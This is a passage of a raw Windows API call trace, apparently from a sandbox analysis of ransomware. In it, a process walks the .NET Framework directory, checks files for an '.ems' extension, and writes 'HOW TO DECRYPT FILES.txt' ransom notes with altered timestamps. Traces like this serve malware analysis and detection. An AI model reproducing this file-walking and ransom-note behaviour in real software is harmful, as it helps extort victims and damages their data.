-1 [0135.727] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfd.nlp") returned="normnfd.nlp" [0135.727] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.727] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.727] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.727] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.727] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="normnfkc.nlp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfkc.nlp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfkc.nlp" [0135.727] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfkc.nlp", pszSpec="*.ems") returned 0 [0135.727] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1433, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0xf1433, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xa9be5e3c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xeb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfkd.nlp", cAlternateFileName="")) returned 1 [0135.729] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.729] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="normnfkd.nlp") returned -1 [0135.729] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="normnfkd.nlp") returned -1 [0135.729] lstrcmpiA (lpString1="", lpString2="normnfkd.nlp") returned -1 [0135.729] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfkc.nlp") returned="normnfkc.nlp" [0135.729] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.729] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.729] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.729] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.729] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="normnfkd.nlp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfkd.nlp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfkd.nlp" [0135.730] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfkd.nlp", pszSpec="*.ems") returned 0 [0135.730] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x163850, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x163850, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xa9c0bf9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x14d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfCounter.dll", cAlternateFileName="")) returned 1 [0135.730] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.730] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PerfCounter.dll") returned -1 [0135.730] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PerfCounter.dll") returned -1 [0135.730] lstrcmpiA (lpString1="", lpString2="PerfCounter.dll") returned -1 [0135.730] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfkd.nlp") returned="normnfkd.nlp" [0135.730] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.730] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.730] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.730] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.730] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="PerfCounter.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\PerfCounter.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\PerfCounter.dll" [0135.730] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\PerfCounter.dll", pszSpec="*.ems") returned 0 [0135.731] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x378b82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x378b82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xa9dd501c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x22340, dwReserved0=0x0, dwReserved1=0x0, cFileName="peverify.dll", cAlternateFileName="")) returned 1 [0135.731] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.731] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="peverify.dll") returned -1 [0135.731] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="peverify.dll") returned -1 [0135.731] lstrcmpiA (lpString1="", lpString2="peverify.dll") returned -1 [0135.731] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\PerfCounter.dll") returned="PerfCounter.dll" [0135.731] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.731] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.731] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.731] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.731] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="peverify.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\peverify.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\peverify.dll" [0135.731] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\peverify.dll", pszSpec="*.ems") returned 0 [0135.731] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45d3bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x45d3bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xa9e936fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x14724, dwReserved0=0x0, dwReserved1=0x0, cFileName="prc.nlp", cAlternateFileName="")) returned 1 [0135.731] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.732] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prc.nlp") returned -1 [0135.732] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prc.nlp") returned -1 [0135.732] lstrcmpiA (lpString1="", lpString2="prc.nlp") returned -1 [0135.732] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\peverify.dll") returned="peverify.dll" [0135.732] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.732] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.732] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.732] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.732] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="prc.nlp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\prc.nlp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\prc.nlp" [0135.732] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\prc.nlp", pszSpec="*.ems") returned 0 [0135.732] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48351b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x48351b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xaa2e3edc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x14724, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcp.nlp", cAlternateFileName="")) returned 1 [0135.732] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.732] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prcp.nlp") returned -1 [0135.732] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prcp.nlp") returned -1 [0135.732] lstrcmpiA (lpString1="", lpString2="prcp.nlp") returned -1 [0135.732] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\prc.nlp") returned="prc.nlp" [0135.732] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.733] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.733] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.733] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.733] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="prcp.nlp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\prcp.nlp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\prcp.nlp" [0135.733] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\prcp.nlp", pszSpec="*.ems") returned 0 [0135.733] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x91d13708, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x91d13708, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0135.733] lstrcmpA (lpString1=".", lpString2="RedistList") returned -1 [0135.733] lstrcmpA (lpString1="..", lpString2="RedistList") returned -1 [0135.733] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\prcp.nlp") returned="prcp.nlp" [0135.733] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="RedistList" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList" [0135.733] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x91d13708, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x91d13708, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501574, cFileName=".", cAlternateFileName="")) returned 0x502518 [0135.734] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0135.734] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x91d13708, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x91d13708, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0135.734] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0135.734] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0135.734] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8307ed1c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8307ed1c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8307ed1c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2b87, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0135.734] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0135.734] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FrameworkList.xml") returned -1 [0135.734] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FrameworkList.xml") returned 1 [0135.734] lstrcmpiA (lpString1="", lpString2="FrameworkList.xml") returned -1 [0135.734] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\*.*") returned="*.*" [0135.734] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\" [0135.734] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\") returned="" [0135.734] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\HOW TO DECRYPT FILES.txt" [0135.734] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\redistlist\\how to decrypt files.txt")) returned 0xffffffff [0135.735] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\redistlist\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0135.737] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0135.739] CloseHandle (hObject=0x90) returned 1 [0135.739] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\", lpString2="FrameworkList.xml" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\FrameworkList.xml") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\FrameworkList.xml" [0135.739] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RedistList\\FrameworkList.xml", pszSpec="*.ems") returned 0 [0135.740] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8307ed1c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8307ed1c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8307ed1c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2b87, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0135.740] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0135.740] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d239dc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d239dc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99d239dc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="RegAsm.exe", cAlternateFileName="")) returned 1 [0135.740] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.740] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RegAsm.exe") returned -1 [0135.740] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RegAsm.exe") returned -1 [0135.740] lstrcmpiA (lpString1="", lpString2="RegAsm.exe") returned -1 [0135.740] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\*.*") returned="*.*" [0135.740] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.740] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.740] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.740] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.740] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="RegAsm.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe" [0135.740] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", pszSpec="*.ems") returned 0 [0135.741] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaff53b3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdaff53b3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xaa818efc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regasm.exe.config", cAlternateFileName="REGASM~1.CON")) returned 1 [0135.741] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.741] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="regasm.exe.config") returned -1 [0135.741] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="regasm.exe.config") returned -1 [0135.741] lstrcmpiA (lpString1="", lpString2="regasm.exe.config") returned -1 [0135.741] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe") returned="RegAsm.exe" [0135.741] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.741] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.741] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.741] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.741] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="regasm.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regasm.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regasm.exe.config" [0135.741] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regasm.exe.config", pszSpec="*.ems") returned 0 [0135.742] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a121a6, ftCreationTime.dwHighDateTime=0x1cb892b, 